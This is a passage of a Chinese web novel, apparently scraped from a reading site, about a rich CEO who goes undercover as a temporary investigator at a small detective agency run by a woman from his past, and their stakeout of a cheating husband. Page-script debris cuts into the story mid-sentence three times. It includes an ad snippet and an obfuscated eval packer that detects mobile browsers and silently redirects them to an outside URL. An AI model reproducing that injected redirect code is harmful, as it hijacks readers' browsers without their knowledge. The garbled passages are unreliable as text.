事务所的老板钱润发大叔,在工作途中不幸遭遇凶狠犯罪分子。虽然英雄非凡、以一敌三,却最终英勇负伤、入院治疗。 那个油腻的男人受伤了? 呵呵,活该。 仲光华兴趣缺缺,端起酒杯,饮了一口。 倒是李流年满脸惊讶:“这个钱润发,指不定惹到不该惹的人了。” “说是路上遇到的,指不定就是被刻意寻仇。他本人虽然挨了打,却不一定和对方两清。” 仲光华心中一紧,听到友人继续道:“说不定阿芳也成了连代目标呢?” 李流年看着友人:“你去医院看看呗。问问他们惹到了谁,然后帮他们摆平。” 仲光华心中一动,嘴里却冷笑:“呵,我为什么要帮他们。” 李流年:“那要不这样,你趁火打劫,趁人家住院把事务所买下来。这样你就是阿芳的老板了。” 仲光华:“我买那个破事务所做什么。买下来立刻就是不良资产。” 李流年:…… 他忍不住翻白眼:“随便你吧。” 李静深突然出声:“阿芳是宋平安的妈妈?可是他妈妈的名字是宋流星啊?” 仲光华:“她改了名字。” 他居高临下看着隔壁座位的小豆丁,表情严肃:“有宋平安和他妈妈在的地方,我就是你的亲叔叔。这一点你还记得吧?” 李静深点头:“放心吧。” 李流年看着这一大一小认真共谋,一时不知该如何评论。 * 花城第二人民医院,住院部。 仲光华在咨询台谎称友人,问到了钱润发的房间号。 没想到,还没上电梯,钱润发就自动出现了。 钱润发相貌平平,泯然于众人。 对于普通人而言,若是只与他有过一面之缘,之后又隔了一段时间,想要再认出他来,实在不容易。 但仲总不是普通人。 他巨细无遗管着一家上万名员工的大型企业,有远超于普通人的记忆力。 所以他一眼认出,卡在小卖部门口,引起众人侧目的那个男人,就是钱润发。 钱润发坐在一张轮椅里,右手右腿都打着石膏,直愣愣地向外伸着,占地面积十分广大。 他能用来操控轮椅的只有左手,虽然尽力了,却十分徒劳,根本无法准确控制轮椅的前进方向。 于是他支棱着两根大枝桠,在狭小的通道里咕噜噜转着圈,彻底堵死了其他人的去路。 仲光华一个闪步过去,握住轮椅背后的扶手,连人带椅拖到外面大厅的空旷处。 钱润发嗷嗷大叫:“你干嘛?你是谁?等一下!哎!哎——嗳?” 他艰难仰着头,惊讶道:“是你啊,李老板!” 仲光华微微一笑:“你记得我?” 钱润发:“当然记得啦,李老板这样的靓仔可不多见!” 他热情寒暄:“李老板怎么在这里?来探病吗?” 仲光华随口编造:“是啊,我朋友交通事故骨折,在这边住院。我刚看过他。” 他装模作样叹气:“原本生龙活虎的一个人,突然就没法自由行动了,真不容易啊。” 钱润发伸着自己的两根石膏大枝桠,全身写满感同身受:“那可不!太不容易了!” 他歪头看着仲光华,拼命挤眼睛,示意对方靠近。 仲光华犹豫了好几秒,最终还是忍住了嫌弃的表情,上前一步,微微弯腰。 钱润发从病号服口袋里掏出一个皱巴巴的烟盒。 “行行好,能帮我推到外面去吗?我想抽根烟。” * 住院大楼旁边是停车场,停车场旁边有一小块杂草地。 两人一轮椅停在这里。 呼—— 钱润发狠狠吐出一口烟雾。 “老子可算是活过来了。” “你是不知道这大楼里禁烟有多严,每次刚点上,就一定会有护士跟个鬼魂似的突然出现,抢走我的烟,还臭骂我一顿。” “我都一个星期没抽上了。” 仲光华:“没人来看你吗?” 钱润发得意一笑:“怎么可能?一堆女人来看我。老子可是很受欢迎的。” “但是她们都被医生吓唬住了,不肯帮我。” “还好今天碰到了李老板。关键时刻,还是男人靠得住啊!” 仲光华:…… 他两手插兜,语气随意:“你怎么伤得这么重?这一行很危险啊。你事务所里那个女的,会不会也像你这样——” 钱润发挥挥手:“不用担心她。她比我怂多了,从来没出过事。” 仲光华一颗心稍微放下。 钱润发:“啊,对了。我听流星说,你决定放弃了?就这样接受私生子的存在了?” 他一脸幸灾乐祸:“你看样子就是有钱人。就不担心家产被私生子分走?” 仲光华挑挑眉,呵了一声。 他随口编造:“谁说我接受他的存在了?” “那个私生子好懂得很。我自己随便查了一下,就知道了他的很多事。” “所以不用劳烦你们了。” “哦?你查到了什么?”钱润发一下子来了精神,“有没有什么刺激的料?” 仲光华装模作样,抱起双手,皱起眉头:“这是我家的隐私。” 涉及到细节,一时半会实在编不出来。 钱润发满脸失望,哼了一声,在轮椅扶手上碾灭了烟头,随意扔到地上。 仲光华忍了一下。 没忍住。 弯腰捡起烟头,扔进旁边的垃圾桶。 钱润发哈哈笑:“你怎么跟个女人似的。” 仲光华:…… 为什么我要在这种莫名其妙的地方,和这种底层渣子混在一起? ……都是因为阿芳。 听见了吗,阿芳,都是你害的。 你欠我的太多了,一辈子都还不清! 钱润发所有所思,仰头看着面前的美男子。 仲光华也若有所思,低头看着轮椅上枝桠横出的渣子。 李流年的建议其实不错。 把事务所买下来。 仲总暗自斟酌着,是哐哐砸钱呢,还是慢慢哄骗呢。 哐哐砸钱未免违反他精打细算的商人本色,慢慢哄骗……他吸了吸鼻子,即使是户外空间,他也隐约闻到了渣子身上散发出的微妙酸臭味道。 这样的相处,一分钟都嫌多。 钱润发突然一拍大腿:“有兴趣来我们事务所上班吗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 仲光华当场冷笑。 去给你上班?你知道我是谁吗? 钱润发赶紧补充解释:“哎,不是正经上班啦!我知道你是公子哥,不会让你真上班的。” “我就是想请你帮忙支撑一下门面,每天去我们事务所里转一圈就行。” “具体的事情有别人去做,不用你操心。” 仲光华皱眉。 什么意思,平时也是这样的吗?你负责装点门面,那个“别人”负责做事? 钱润发:“你是不知道,我这一倒下,愁的很啊。” “我是事务所里唯一的男人,我不在,根本运转不起来啊!” 唯一的男人。 这句话撞进仲光华的耳朵里。 心狠狠一动。 * 下午五点,花二宫寻人事务所。 宋流星满头大汗冲进来,直奔冰箱,抱着冰凉的麦茶咕噜噜猛灌。 阿珍奇道:“怎么这么早就回来了?” 宋流星满脸一言难尽。 四点的时候,她被客户电话通知:“那个死鬼说一会儿要出去!肯定是要去见那个女人!你快过来!” 于是她迅速赶到客户楼下,等到目标秃头男子下楼,便紧紧跟踪起来。 秃头男子果然和陌生女人见面了,看气氛也确实是情人气氛,但是—— 阿珍一脸惊讶:“分手?” 宋流星:“对啊,他应该是说了分手。两个人都哭了,哭得好伤心。除了喝咖啡和哭,他们什么都没干,连肢体接触都没有。” 她表情微妙:“这算是浪子回头吗?” 阿珍伸出一根手指:“这世上没有浪子回头,只有狗改不了吃屎。” “那个男的肯定是察觉到什么了,所以暂时低调一阵。过一阵保准故态复萌。没准还是跟同一个女人。” “这不挺好吗,要不了多久,又有生意做了。” 宋流星:…… 来电铃声响起。 阿珍拿起手机,娇呼:“是发哥啊~” 她接起电话,一路点头,一路嗯嗯,最后道:“知道啦~我会和流星姐说的~~~” 阿珍挂了电话,转头道:“流星姐,发哥说找了个临时工过来,一会儿就到,叫你和他对接一下。” 宋流星满脸惊讶:“发哥什么时候这么有效率了?他不是最爱拖拉吗?” 阿珍耸耸肩,“也许他突然发神经吧。” 她皱起鼻子,“发哥最不靠谱了,谁知道他找了个什么人来。别什么都不懂,尽给我们帮倒忙。” 宋流星倒是一脸无所谓:“没准干几天就走了。这些年不也来来去去好多人嘛。都以为这职业有趣,刺激,结果呢,根本受不了辛苦。” 阿珍:“可是流星姐你总需要一个帮手啊!” 宋流星眯眼笑:“所以啊,我自己也在找。求人不如求己嘛。” 阿珍眼睛一亮:“哦哦?你找的什么人?是不是很厉害?” 宋流星:“是我以前去外地干活时遇到的一个同行。很机灵,也很能吃苦。他一直对自己的事务所不满意,我在跟他说跳槽的事。” 阿珍:“哦哦!那挺好的!” 话语间,茶色玻璃门被推开,一阵热气涌进来。 两人齐齐转头望过去。 11. 假千金来访 “你好——”门口的人拖长了音,“我遇到一件事情……” 阿珍立刻跳起来,几步迎过去:“你好你好,我们什么事都能帮忙的。先坐下来喝口茶,和我们的调查员聊一聊吧!” 来客在深红色皮沙发坐下。 这是一位年轻女性,约莫二十几岁,整个人十分精致。 明明大热的天,妆容却完美贴脸,长发顺滑闪亮垂在肩上,丝绸连衣裙长到脚面,光泽如流水一般,底下露出柔软的小羊皮高跟鞋。 十足一副有钱大小姐的样子。 宋流星在大小姐对面坐下,双手递过名片,“我是这里的调查员宋流星,请问你怎么称呼?” 大小姐没回答。 她把名片捏在手里,心不在焉看了一眼,扭头去问阿珍:“那个,我是听朋友说的。他说你们老板很厉害。他人呢?” 宋流星挂起完美营业笑容:“我们老板暂时出门有事,什么事可以先和我说,我可以给一些意见的。” 大小姐不安地挪动了一下脚,又偷偷回头朝门口看。 她回过头,仍是心不在焉问道:“你是前台吗?” 宋流星微笑:“我是调查员。” 我写着调查员大字的名片还在你手里捏着呢。 大小姐吃了一惊:“啊?啊。对不起,刚才没看到。” 宋流星和阿珍无奈对视一眼。 大家对“调查员”这个职业的预设,差不多就是钱润发那样:中年男子,举手投足充满江湖气,阅历中透着风霜,热情中泛着油腻。 无论哪条,都和宋流星的形象相差甚远。 无法,只能硬着头皮争取客户。 宋流星身体前倾,语带关怀:“看起来是很严重的事呢。你一定很烦恼吧。可以和我说说看的。” 大小姐迎着宋流星满心期待的眼神,咬着嘴唇,无意识揪着裙摆,丝绸面料留下深深皱痕。 然而她犹豫再三,最后还是坚持初衷:“你们老板什么时候回来?我时间充裕,等等他好了。” 宋流星:…… 怎么办?发哥目前是残废状态,根本来不了。 若是现在改口说实话,客人会不会生气走掉? 真是糟透了。 “有客人在啊。”门口响起一道男人声音。 夏日光线刺眼,站在门口的人,一时间只看得清一个轮廓。 大小姐惊喜回头:“你们老板回来了吗?” 炫目的日光和灼热的空气一起扑进来。 宋流星眯起眼。 啊,是他。 那个怎么看都很可疑的客户,李流年。 “李流年”大步走进来,在大小姐对面的沙发坐下,一副大马金刀的姿势。 他脸色严肃:“我是这里的调查员,鄙姓李,小姐怎么称呼?” 大小姐被这突如其来的气势压制住,不由自主回答道:“我姓苏。单名一个文字。” 仲光华面色不变:“苏小姐你好。请问是有什么委托要交给我们?” 苏小姐总算想起初衷,弱弱问道:“请问你是这里的老板吗?” 仲光华:“不是。这边的老板惹到了不该惹的人,重伤入院。特意请我来帮忙。” 他慢条斯理折起衬衫袖子,露出肌肉分明的小臂。 “我本来也有自己的事要做。但是兄弟开口,不能不来帮忙。” “毕竟,行走江湖,谁也不知道明天会发生什么,最重要的就是兄弟们互相照应。” 苏小姐不由自主连连点头,一脸赞同的样子。 她随即开口:“事情是这样的……” 又突然停住,咬了一下嘴唇,声音有一丝不稳:“我都不知道从哪里说起。” 仲光华淡淡笑了一下,目含鼓励:“慢慢来。从哪里开始都可以。” 宋流星瞪大眼。 这个人怎么回事,莫名其妙闯进来,坐在这里装模作样,而且竟然被他装到了! 苏小姐深吸一口气。 “我觉得我算是很幸运吧,人生一直很顺利。从小家境好成绩好,身边一直有很多朋友。厚脸皮说一句,我觉得大家多多少少都有些羡慕我吧。” 仲光华:“应该的。” 苏小姐强笑了一下。 “但是从今年年初开始,我的身体变得怪怪的。经常头晕,走路的时候,莫名其妙就会摔跤。” 她微微提起裙摆,莹白小巧的膝盖上,赫然是黑色的新鲜痂壳。 “我去医院检查,一开始根本检查不出什么,医生说可能是工作过劳导致的,叫我不要熬夜,早睡早起。” “但是我总感觉不是这么回事。因为我工作根本不忙也不累……” “直到上个月,医生给我加了神经方面的检查,最后总算有了结论。” 苏小姐微微颤抖起来,手指紧紧揪着裙摆。 “是一种神经方面的遗传病。算是慢性病吧,没有根治的办法,只能一生共存。好好治疗的话,是可以控制症状的。这方面我虽然受打击,但也很快调整好了心态。” “问题是——” 她的颤抖变得明显,牙齿咬得咯咯响。 在场其他人等着她继续说下去,却一直没等到。 宋流星试探问道:“遗传病……你父母并没有这种病是吗?” 仲光华瞥一眼宋流星,挑起眉毛。 见多识广啊,阿芳。 苏小姐眼眶一下子红了。 “医生问了一大堆问题。最后他叫我把父母带过来做基因检测,说是看看父母的基因上有没有相同的记号。” “我觉得他的口气怪怪的,好像在暗示什么,所以我,我——” 眼泪涌出眼眶。 “我就偷偷拿爸妈的头发去做了亲子关系检测。” 仲光华:“是和一方没有亲缘关系?还是两方都没有?” 苏小姐捂着脸,挤出几个字:“两方都没有。” 宋流星心下叹气。 所以是医院抱错吧。 传说中极低概率的意外,总会发生在某人头上。 仲光华:“所以苏小姐今天来这里,是想寻找生物学父母?” 听到“父母”两个字,苏小姐抖了一下。 仲光华适时安慰:“血缘关系有时候也不能决定什么。” 他理所当然的口气、四平八稳的声音似乎很有效,苏小姐眼看着平静了一点,抹掉眼泪,抬头道:“嗯。我想找他们,想知道他们是什么样的人。” 宋流星插了一句:“有没有想过和父母商量一下呢?这件事,他们迟早会知道的。” 苏小姐撇开眼神,肩膀紧绷,十根手指搅在一起。 从肢体语言上看,是明显的抵抗意味。 宋流星心想,不想让父母知道啊。 这倒是也很正常。 可是…… 她叹了一口气,“你生了病啊……还不是感冒之类的小病,只要你父母注意到你的病……” 苏小姐打断她:“我知道!我都想过了!” “我只是想,想在告诉父母之前先……先……让心里有个底。” 宋流星点头表示明白。 “是这样的,抱错孩子这种情况,一般是由本人去生产的医院直接查询。” 苏小姐:“我本人吗?直接去问就可以?” 宋流星:“你妈妈本人。” 苏小姐瞪大眼。 她身体前倾,急切道:“就不能由你们从一些特殊渠道偷偷调查吗?” 宋流星无奈:“那些渠道基本都是违法的啊。我们事务所是合规守法的单位。” 苏小姐热切的眼神立刻转向仲光华。 仲光华点一下头,深沉道:“时代不同了。很多事情,现在确实已经不能再做了。” 苏小姐失望地垂下头去。 半晌,她似乎想起了什么,抬头道:“我记得妈妈讲过,那年夏天连续暴雨,我出生那天,县城医院门口的路被淹了,好多人临时转院去了别的医院。那一天生产的,只有提前过来住院的几个人。” “我妈妈和隔壁床很聊得来,几乎成了朋友。当天她们一前一后生产,生的都是女孩儿。” “隔壁床那个产妇,她家是医院附近开肠粉店的,开了好多年,据说很有名。” “也许那家店还在呢?你们帮我去问问看!” 仲光华以眼色询问。 宋流星微微点了一下头。 仲光华接立刻郑重出声:“好,我明白了。我们这边会想办法找人的。” 苏小姐:“一定要悄悄的!” 仲光华微笑:“放心。保密永远是我们的第一要务。” 两人送客出门,站在门口的台阶上,看着苏小姐上了街对面的一台白色宝马,开车离去。 气氛突然一变。 仲光华立刻感受到了针扎一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 样的审视目光。 他梗着脖子,肌肉紧绷,不敢说话。 宋流星也沉默着。 她站在一步之外,两手抱胸,眉头微皱,默默审视着这个闯入者。 事到如今,虽然难以置信,但事实已经很明显。 这就是发哥所说的,“人到了你们就知道了”的那位—— 仲光华深呼吸,转过头,昂着下巴,露出英俊明亮的笑容:“钱润发跟你通过气了吧。我们偶然遇到,他求我来帮忙,我就来了。” 宋流星:“嗯,他说过了,我们正缺人,你能来帮忙,我们感激不尽。” “只是……”她拖长音,语气迟疑,“你看起来年轻有为,应该有自己的事业要忙吧。” 仲光华听到“年轻有为”,嘴角瞬间勾起,抬手一撩头发,“嗯,还行吧。最近正好比较闲,可以帮帮你们。” 宋流星:…… 仲光华:“事不宜迟,我们马上开始工作吧!” 他刷的举起笔记本:“苏小姐刚才提供的信息,我都已经记下来了!” 宋流星:…… 这做作的热情,怎么看都很可疑。 但是,随便吧,送上门的劳动力,不用白不用。也不用怕他来路不明,这么个小破事务所,没什么可图的。 她迅速想通,推开茶色玻璃门回到室内,随意一伸手:“身份证给我。” 仲光华突然警觉:“要身份证干什么?” 宋流星:“入职手续啊。” “等一下,你以为我们是什么江湖社团吗?我们是合法纳税机构啊。你虽然只是临时工,基本手续还是要有的。” 仲光华皱起眉:“临时工?什么临时工。我是来当老板的。” 宋流星:? 她瞪大眼:“你来当老板?” 现在的临时工都这么狂的吗? 仲光华两手叉腰:“钱润发跟我说的是,请我代替他的位置。” 宋流星反手拉开茶色玻璃门,微笑:“我们不需要第二个发哥。你请回吧。” 仲光华:! 人在屋檐下,不得不低头。 他挤出微笑:“临时工也行。无所谓,我只是想帮忙。” 宋流星关上门,伸手:“身份证。” 仲光华:“今天没带。下次过来给你。” “事不宜迟,我们马上开始调查工作吧!” 宋流星:“确实事不宜迟。但不是这件。” “我们有更紧要的案子。是老客户,必须给她处理满意了。” 她一伸手,接过阿珍抛过来的车钥匙,“走吧。路上跟你说。” 出了门,视线随便一扫,一眼看到停在街对面的豪车。 纯黑却闪耀光芒的库里南。 宋流星回头看了“李流年”一眼:“那不会是你的车吧?” 仲光华心念电转,滴水不漏否认:“当然不是。我只是一个普通有钱人,平时也就开开奔驰C。那种级别的车我可开不上。呵呵。” 宋流星:“也是。” 她又扫视一圈:“那你的奔驰C呢?” 仲光华随口编造:“送去保养了。我今天是打车来的。” 宋流星点点头,朝着树荫下一辆红色大众朗逸走去,拉开车门。 仲光华微微皱起眉。 这个红色……平时没注意过,原来便宜的车,连颜色都这么狗屎。 宋流星已经在驾驶座坐定,催促道:“你在看什么?快上车。” 仲光华钻进车,头差一点撞到车顶。 他好不容易坐下,望着被迫曲起来的腿,不敢置信道:“这是玩具车吗?” 宋流星也看到了他曲起的腿,不禁有些幸灾乐祸。 “这叫紧凑车型。平时没见过吧?有钱人。” 仲光华竟然真的点点头:“长见识了。” 宋流星:…… 与此同时,五公里之外的豪华写字楼里,米歇尔收到了来自老板的两条信息: 1。找一个可靠的□□人员。 2。安排一辆奔驰C。 米歇尔看着空荡荡的CEO办公室,桌上堆成山等待批示的文件,又看看手机屏幕。 仲总,你到底在外面搞什么? 但是这种问题轮不到她来问。 老板怎么说,打工人就怎么做。 米歇尔立刻开始翻检通讯录,寻找能接触□□人员的渠道。 12. 仲光华的第一次 自称李流年的新人调查员踏上了第一次调查之旅。 十字路口,红灯,红色朗逸停在斑马线前。 宋流星看着红字倒数,随口问道:“李老板,你多大?” 仲光华心脏一跳,姑娘家家的这是问什么呢! 哦,不对,是问年纪。 他正要回答,却心念电转。 ……阿芳今年是31岁。 仲光华坦然撒谎:“我今年32岁。应该比你大吧。叫李老板太生疏了,你以后叫我年哥吧。” 宋流星笑眯眯:“别看着我这样,我都35啦!我该叫你年仔才对。” 她挑挑眉毛:“你应该叫我流星姐。” 仲光华睁大眼。 好你个狡猾小娘皮,竟然当着我的面撒谎! 宋流星催促:“快点,叫一声来听听。” 仲总嘴皮紧闭,誓死不从。 姐?你想让我叫你姐?区区小女佣,竟然想爬到我的头上来! 宋流星哼了一声。 “叫我什么无所谓。但有件事得先跟你说清楚。出门在外,你就是我手下,凡事要听我指挥,知道吗?” 仲光华下巴紧绷,一字不发。 手下?我是阿芳的手下?开什么玩笑。 他一点也不适应这样强势的阿芳。 曾经的阿芳,是那样温顺,对少爷言听计从。 绿灯亮起,宋流星起步打弯,拐进岔道,在路边停下。 “不服?不服就下车。” 她脸色异常冷淡。 仲光华:! 他犹豫了几息,屈辱道:“明白了。我听你指挥。” 宋流星嘴角勾起,重新起步。 * 下午六点二十,红色朗逸停在一条狭窄的马路上。 宋流星没有下车,歪着头,看向马路对面。 对面是一栋看起来颇有年岁的六层大楼。 透过榕树繁茂,依稀可见大楼顶上立着招牌:花城人民出版社。 眼下正是下班的时候,不断有人从大门出来。 仲光华:“我们是在等人吗?” 宋流星从仪表盘上摸出一张照片,递过去。 仲光华接过来一看,是一个中年男子,不胖不瘦,略微秃顶,戴着一副金丝眼镜,五官还算端正,但绝对说不上英俊。 “我们要跟踪他?” 宋流星挑挑眉。“你挺懂的嘛。” “你仔细记住这人的长相。一定要记住了。这种人最麻烦了,长得太普通,一个错眼,就融进人群找不见了。” 仲光华:“他干什么了?” 宋流星:“干了人世间最普通的事情:出轨。” 仲光华皱眉,“所以我们这是在帮老婆抓出轨老公?” “我们不是找人事务所吗?” “我还以为是寻找失踪人口,比如失联的朋友、离家出走的孩子、糊涂走失的老人之类。” 宋流星:“你说的那些,当然也有。但平时做的最多的,还是抓出轨老公。” “这个业务不好写在招牌上,但是大家都心知肚明。” 她笑容微妙:“男人出轨这件事,实在是太常见了。感谢这些出轨男,我们这小小事务所才能一直有生意。” 仲光华感觉宋流星的眼神不太友善,于是转移话题:“你说他是老客户?” 宋流星笑了:“原来你有认真听我说话啊。” “是啊,他老婆是我们的老客户了,我已经跟踪过他六次,抓到四个小三。” 仲光华:“意思是有两个重复的?哦,这人还挺念旧。” 宋流星噗嗤笑出声,“是啊,可不是嘛。” 仲光华:“他老婆抓到他出轨六次,还不离婚?难道这是他们夫妻间的情趣?” 宋流星又笑:“他们夫妻有约定,出轨一次,丈夫向妻子赔付十万元。” 仲光华:“所以女方是期待男方出轨吗?” 宋流星:“也不能这么说吧。哪个做老婆的会希望老公出轨?” “但是既然出轨已经客观存在了,就不如抓到证据,以此拿钱。” 她突然压低声音惊呼:“他出来了!” 一个不起眼的中年男子从对面大门出来,下了阶梯,往街尾走出二十米,上了一辆白色丰田花冠。 宋流星驱车悄然跟上。 白色花冠汇入下班车流,走走停停,半小时后,进入路边的小停车场。 宋流星跟着开进去,跟着下了车,跟着向外走。 仲光华看着前面不远处的男子背影,质疑道:“我们跟踪得会不会太明显了?” 宋流星笑起来:“没关系的,他不会发现的。普通人是没有反侦察意识的。” 她想拍拍对方的肩膀,却发现太高了,姿势会很别扭,于是半途收回手。 “这不是侦探电影。不用那么紧张。” 目标人物进了一家海鲜酒楼。 宋流星笑了:“今天有口福了。” 她进了酒楼,主动找了个大厅角落的位置,点了一打扇贝,一打生蚝,一盘小龙虾,一打烤串。 从这个位置,能清晰看见坐在大厅中央大桌的目标人物。 那一桌坐了七八个年龄相仿的男子,有胖有瘦,有说有笑。 仲光华拿起一个蒜蓉扇贝,微微皱眉。 宋流星眨眨眼,心想,不至于吧。 她劝道:“你先尝尝看,好吃的。这家酒楼开了几十年了,味道不好的话早就倒闭了。” 仲光华解释道:“不是味道的问题。我只是……不习惯吃这种重油食物。” 宋流星:“油大才香啊!” 她啊了一声,“难道你在控制热量吗?” 仲光华:“当然。难道你不控制吗?” 宋流星:“我才不控制。” 她拿起一个生蚝,一口吸入,“天大地大没有好吃的大。” 仲光华皱眉:“你都这个年纪了,不怕发胖吗?” 宋流星:…… “不怕。我这个年纪,外表已经不重要了。” 仲光华眉头紧锁:“你才这个年纪,就放弃自己了吗?” 宋流星微笑:“求你闭嘴。不会说话就不要说话了。” 仲光华:…… * 目标人物酒足饭饱,和兄弟们道别,一个人慢悠悠沿着马路往前走去。 宋流星跟在后面十米远的地方,“他看起来没有打车的打算。可能下一摊就约在附近。” 她高兴地回头看仲光华:“运气好的话,下一摊就是约小三去宾馆。我们今天说不定能提前收工呢!” 仲光华拼命挠着手臂。 要不是考虑到姿势不雅,他都想原地掀起裤管猛抠小腿。 宋流星啊了一声,“被蚊子咬了?” 她不由分说拉过仲光华的手臂,凑近了仔细看。 “你可真是招蚊子的体质啊!竟然一下子被咬了这么多包,真可怜!” 那道嗓音,略微低哑,满是怜惜。 淡淡鼻息打在皮肤上,激起一片鸡皮疙瘩。 一股颤抖的欲望,从丹田深处涌出来。 仲光华猛地抽回手臂,声音变调:“你怎么回事!怎么能随便碰男人的身体!” 宋流星:? 她一脸不可置信:“你是哪来的贞节烈男?大清亡国了没通知你吗?” 她伸手从屁兜里掏出一个塑料小瓶,另一只手不由分说再次去抓仲光华。 “别想多了。你在我心里和安安差不多。保证一点邪念都没有,不会玷污你的。” 说完,她一手牢牢抓着对方手腕,另一手捏着瓶子往皮肤上涂清凉油。 仲光华惊呆。 和安安差不多? 我,和安安差不多??? 什么样的睁眼瞎,会认为我和那个巨型傻瓜儿童差不多? 仲光华呆呆的,任凭对方动作。 然后听见对方说:“好了。” 蚊子包上迅速升起一股薄荷清凉,驱走了痒意。 宋流星一手拿着瓶子,一手拿着盖子,似乎没有盖回去的意思。 “腿上有没有被咬?肯定有吧?” 说着,她就蹲下去,伸手去扯仲光华的裤管。 仲光华吓了一跳,闪电般往后退出一步:“没有!腿上没有!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518070|142296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋流星蹲在地上,仰着头,眉头皱着:“别逞强了。你手上那么多包,腿上肯定也有。” 她回头看了一眼马路尽头,催促道:“快点过来,我赶紧给你涂完药,不然人要跟丢了。” 仲光华气得脑袋发昏:“你给我看清楚!我可不是你那个傻瓜儿子!” 宋流星站起身,忿忿道:“不要就不要呗,干嘛人身攻击。” 她把瓶子塞到仲光华手里:“这瓶你拿着。不过这瓶不多了,回头你自己去药店买瓶新的。” 她随即又从兜里掏出另一个瓶子,也塞过来:“还有这个你也拿着,是驱蚊的。你每次出门之前,都在手脚上喷——。” 话没说完,宋流星余光看到了什么,压着声音惊呼起来:“他要拐弯了!我们快追上去!” 仲光华拿着两个药瓶,心中百味杂陈,无法形容,只能跟着大步跑起来。 * “他进宾馆了!”宋流星惊喜低呼,“真好,我们今天可以提前收工了!” 目标人物进了宾馆大门,在前台开了房,朝电梯走去。 仲光华看看站在广告牌后面的宋流星,疑惑道:“不跟上去吗?” 宋流星:“不需要。一会儿他老婆来了,跟前台随便闹一闹,就能拿到房间号了。” 仲光华:…… 宋流星:“是不是觉得太简单了?和你想象的不一样?” “这工作就是很无聊的。不是电视剧里演的那样。” 她眯起眼睛,微笑:“想辞职的话,随时跟我说哦。” 仲光华:“不无聊。我觉得特别有意思。” 宋流星哼了一声,掏出手机,打字发消息。 仲光华:“叫人来捉奸?” 宋流星点点头。 “现在就是等小三现身了。也不知道她和原配,谁会先到呢?” 仲光华:“你怎么知道哪个是小三?” 宋流星:“这大哥口味很统一。前面四个小三全是一个类型的。这次就算是新人,我只要看见她,差不多就知道了。” 仲光华:…… 马路边冲过来一个滑板小孩。 砰!滑板撞在路边的石墩子上,小孩嗖的一下飞起来,重重摔在地上。 宋流星心下一紧,赶紧跑过去。 还没跑到,一个年轻女孩已经把小孩抱起来,急急问道:“小朋友,有没有哪里痛?” 小孩被抱着,总算反应过来发生了什么,嘴一瘪,嚎哭起来。 年轻女孩急了,连连问道:“先别哭,跟我说话,你爸爸妈妈呢?” 小孩大声嚎哭,根本没空说话。 一个胖大姐从远处跑来,一把夺过小孩,尖叫:“儿子啊!你怎么了!” 她一把抓住旁边年轻女孩的手腕,尖声质问:“是不是你打了他?” 年轻女孩傻眼,赶紧辩解:“不是我!我没有!是他自己撞到石墩子——” 胖大姐大叫起来:“就是你!我看见是你了!” 宋流星几步赶过去,帮忙解释:“大姐,真不是她。我看见了,是你儿子自己不小心撞到石墩子——” 胖大姐大叫:“好啊!你跟她是一伙的!我要报警!” 她冲着路人喊起来:“这两个女的打了我儿子!快帮我报警!” 宋流星看了一眼胖大姐的手,那双手紧紧掐住年轻女孩的手腕,都有点变形了。 她冷笑出声,指着酒店门口的监控:“你儿子是自己撞上石墩子的。那边都拍下来了。你最好立刻松手,不然等警察来了,我告你诬陷加人身伤害。” 胖大姐瞬间松开。 宋流星又指指不远处的便民诊所:“你儿子哭得好惨。你真的要在这里等警察,而不是带他去看医生?“ 围观的路人七嘴八舌议论起来。 胖大姐啐了一口,骂骂咧咧走了。 年轻女孩看着宋流星,一脸感激:“真是太谢谢你了!没有你,我都不知道怎么办了!” 宋流星这才有机会认真看她。 看清她朴素的中分直发,清秀的小圆脸,些许土气的碎花连衣裙。 啊。 不会吧。 13. 五个大婆抓小三 圆脸女孩再三道谢,然后进了酒店。 宋流星站在广告牌旁边,欲言又止。 仲光华:“她就是那个小三?” 他顿了一下,道:“看着不是坏人啊。” 宋流星瞪了他一眼,“你只会说废话吗?” 仲光华:“她还在等电梯。要不要把她叫出来?” 宋流星:“原配抓不到人,就不会付我们钱。你想白干一场吗?” 仲光华:…… 他遥遥看着宾馆大门:“她进电梯了。原配什么时候到?” 宋流星干脆整个人站到广告牌后面去,眼不见为净。 “不知道。随时会到吧。她家不远。” 仲光华:“啊,她又下来了。” 宋流星吃惊:“她又下来做什么?” 她探出头一看,圆脸女孩出了宾馆大门,往左边走出去二十米,进了一家便利店。 宋流星暗自祷告。 就趁这个空档吧。 原配啊,麻烦你就趁这个空档冲进酒店去吧。 但是原配并未出现。 而另一边,圆脸女孩已经出了便利店,拎着一个小塑料袋,蹦蹦跳跳往这边走。 走到一半,突然停住脚步,往路边的灌木丛张望。 她蹲下来,从塑料袋里掏出零食样的东西。 一只三花小猫从灌木丛里钻出来。 圆脸女孩一手抱着膝盖,一手轻轻抚摸小猫头。 宋流星心想,对,就这样,不要急,多摸一会儿。 原配还没有来。 圆脸女孩站了起来,继续往这边走。 她进了宾馆。 进了电梯。 一辆家庭版SUV停在路边,五个年龄相仿的大姐从车上跳下来。 宋流星大吃一惊,脱口而出:“不是,怎么带这么多人?之前明明都是单刀赴会啊!” 领头的大姐一眼看到宋流星,隔着老远大喊:“小宋!那对狗男女都进去了吧?” 她甚至根本等不及宋流星回答,直接气势汹汹冲进宾馆大门。 宋流星赶紧尾随上去。 她不远不近缀着,竖起耳朵听着。 大姐团从夜班经理嘴里挖出房间号的那一瞬间,她悄无声息退开,进了安全楼梯。 防火门关上的一瞬,她疯狂往楼上跑。 五个大姐站在电梯前,盯着数字变化,满脸不耐烦。 宋流星疯狂往八楼跑。 